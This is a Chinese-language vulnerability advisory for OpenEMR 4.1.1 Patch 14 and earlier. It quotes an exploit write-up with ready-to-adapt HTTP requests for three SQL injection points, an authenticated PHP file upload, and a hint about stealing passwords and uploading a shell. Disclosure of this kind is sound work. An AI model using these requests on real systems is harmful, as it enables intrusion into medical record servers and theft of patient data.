new_comprehensive_save.php form_pubid参数SQL注入漏洞

发布日期：2013-09-21
更新日期：2013-11-02受影响系统：
OpenEMR OpenEMR <= 4.1.1 Patch 14
描述：
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BUGTRAQ ID: 62365OpenEMR是模块化的、HIPAA兼容的、开源、跨平台电子病历系统。OpenEMR的interface/new/new_comprehensive_save.php脚本没有正确过滤 form_pubid参数输入值，在实现上存在SQL注入攻击，可使攻击者在后端数据库内注入或操纵SQL查询。<*来源：xistence （xistence@0x90.nl）

链接：http://www.osvdb.org/97482
*>测试方法：
--------------------------------------------------------------------------------警告以下程序（方法）可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！###################################################################################################################################
# Exploit Title: OpenEMR 4.1.1 Patch 14 Multiple Vulnerabilities
# Date: Sep 17 2013
# Exploit Author: xistence < xistence[at]0x90[.]nl >
# Vendor Homepage: www.open-emr.org
# Tested on: CentOS 5.9 32-bit
# Affected Version : 4.1.1 Patch 14 and lower
# Fix: Upgrade to OpenEMR 4.1.2
#
# Software details:
#
# OpenEMR is a Free and Open Source electronic health records and medical practice management application that can run on
# Windows, Linux, Mac OS X, and many other platforms. OpenEMR is ONC Complete Ambulatory EHR certified and is one of
# the most popular open source electronic medical records in use today. OpenEMR is supported by a strong community of
# volunteers #and professionals all with the common goal of making OpenEMR a superior alternative to its proprietary counterparts.
# The OpenEMR community is dedicated to guarding OpenEMR"s status as a free, open source software solution for # medicalpractices
# and is dedicated to maintaining a spirit of openness, kindness and cooperation.
#
###################################################################################################################################
[ SQL Injection ][0x01] - The "authProvider" parameter in the "interface/main/main_screen.php" POST script is vulnerable to SQL Injection. A valid "authPass" password is needed before injection is possible （hash below is the default password "pass"）POST /openemr/interface/main/main_screen.php？auth=login&site=default HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/login/login.php
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 135authProvider=Default"[SQLi]&authUser=admin&clearPass=&languageChoice=1&authPass=9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684&authNewPass=The POST request below could be used to retrieve passwords from other users and gain higher privileges （and after that upload a shell）
[0x02] - The "form_pubid" parameter in the "interface/new/new_comprehensive_save.php" script is vulnerable to SQL Injection.POST /openemr/interface/new/new_comprehensive_save.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/new/new.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 286form_cb_1=1&form_title=Mr.&form_fname=pwned&form_mname=&form_lname=pwned&form_pubpid=[SQLi]&form_DOB=2013-07-15&form_sex=Female&form_ss=&form_drivers_license=&form_status=&form_genericname1=&form_genericval1=&form_genericname2=&form_genericval2=&form_cb_2=1&form_street=&form_city=&form_stat
[0x03] - The "set_pid" parameter in the "interface/patient_file/summary/demographics.php" script is vulnerable to SQL Injection.
http://<IP>/openemr/interface/patient_file/summary/demographics.php？set_pid=-1[SQLi]
[ Arbitrary file upload ][0x01] - It"s possible to upload any file after being authenticated.POST /openemr/interface/super/manage_site_files.php HTTP/1.1
Host: <IP>
Referer: http://<IP>/openemr/interface/super/manage_site_files.php
Cookie: OpenEMR=blahblahblah
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------6745387234061449481375110870
Content-Length: 355-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="form_image"; filename="pwned.php"
Content-Type: text/php<？php phpinfo（）; ？>
-----------------------------6745387234061449481375110870
Content-Disposition: form-data; name="bn_save"Save
-----------------------------6745387234061449481375110870--建议：
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厂商补丁：OpenEMR
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目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：OpenEMR 的详细介绍：请点这里
OpenEMR 的下载地址：请点这里RaidSonic IB-NAS5220及IB-NAS4220-B多个漏洞Linux Kernel "ipc_rcu_putref（）"函数本地拒绝服务漏洞相关资讯 OpenEMR OpenEMR漏洞

OpenEMR 4.1.2 发布，医疗实践管理（08/19/2013 07:48:35）
OpenEMR 4.1 发布，医疗实践管理（05/27/2012 07:13:40）

OpenEMR 4.1.1 发布，医疗实践管理（09/01/2012 16:06:10）
医疗实践管理软件 OpenEMR （05/27/2012 07:09:35）

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